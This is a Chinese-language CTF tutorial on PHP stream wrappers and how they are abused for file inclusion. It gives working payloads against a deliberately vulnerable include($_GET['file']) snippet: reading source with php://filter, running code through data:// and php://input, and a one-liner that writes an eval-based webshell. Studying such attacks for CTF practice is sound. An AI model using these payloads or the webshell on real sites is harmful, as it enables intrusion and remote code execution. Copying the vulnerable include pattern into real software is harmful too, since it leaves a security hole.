PHP伪协议
一、伪协议介绍
PHP伪协议,也是php支持的协议和封装协议。
常见的有:
- file:// 访问本地文件系统
- php:// 访问各个输入/输出流
- data:// 数据
- zip:// 压缩流
不过有些伪协议需要allow_url_fopen和allow_url_include的支持。
- allow_url_fopen On/Off 允许或禁止打开URL文件
- allow_url_include On/Off 允许或禁止引用URL文件
二、file伪协议
file://伪协议用作是展现本地文件系统。
CTF中一般用来读取本地文件或者执行php脚本。
绝对路径和相对路径或者网络路径(http://127.0.0.1/info.php)都可以。不过网络路径就需要allow_url_fopen和allow_url_include都为On。
tips:
include()/require()/include_once()/require_once()的参数可控的情况下,如果导入的文件为非.php文件,仍会按照PHP语法进行解析,这是include()函数所决定的。
例:使用file://伪协议去包含本地的phpinfo.php和flag.txt
<?php $file = $_GET['file']; include $file;
payload:
?file=file://E:\phpinfo.php ?file=../flag.txt ?file=http://127.0.0.1/flag.txt
三、php伪协议
php://伪协议作用是访问各个输入输出流
在CTF中经常用到的是php://filter和php://input
php://filter用来读取源码(.php文件的源码);php://input用来执行php代码(通常以post形式,post一段php代码上去执行)
注:
在enctype="multipart/form-data"的时候,php://input是无效的。
php://filter的各个参数详解:
参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流 |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称。 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称。 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
例如,读取fileprotocol.php文件源码:
?file=php://filter/read=convert.base64-encode/resource=./fileprotocol.php
读出来base64解码就是源码了。
例如:php://input执行phpinfo()
注:allow_url_include要为On
GET和POST都可以
如果想写入webshell:
<?php fputs(fopen('1.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
四、zip:// & bzip2:// & zlib:// 协议
zip://、bzip2://、zlib://都属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀:jpg、png、gif、xxx等。
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
例:压缩phpinfo.txt为phpinfo.zip,将zip改为xxxx,包含里面的phpinfo.txt
<?phpinclude ($_GET['file']);
payload:
?file=zip://D:\phpstudy_pro\WWW\php-audit\fake_protocol\phpinfo.xxxx%23phpinfo.txt
2.compress.bzip2://file.bz2(同样支持任意后缀名)
?file=compress.bzip2://E:\phpinfo.xxx
3.compress.zlib://file.gz(同样支持任意后缀名)
?file=compress.zlib://E:\phpinfo.xxx
五、data协议
需要allow_url_include和allow_url_fopen都为On
data://伪协议是数据流封装器,传递相应格式的数据。
通常可以用来执行PHP代码。
用法:
data://text/plain, data://text/plain;base64,
例:
<?php $file = $_GET['file']; include $file;
?file=data://text/plain,<?php%20phpinfo();?> ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
六、http://和https://协议
远程包含需要allow_url_fopen和allow_url_include都为On。
允许通过HTTP 1.0的GET方法,以只读的方式访问文件或者资源。
CTF中通常用于远程包含。
?file=http:/127.0.0.1/phpinfo.txt
七、phar://伪协议
phar://伪协议和zip://类似,同样可以访问zip格式压缩包内容
?file=phar://E:\WWW/phpinfo.zip\phpinfo.txt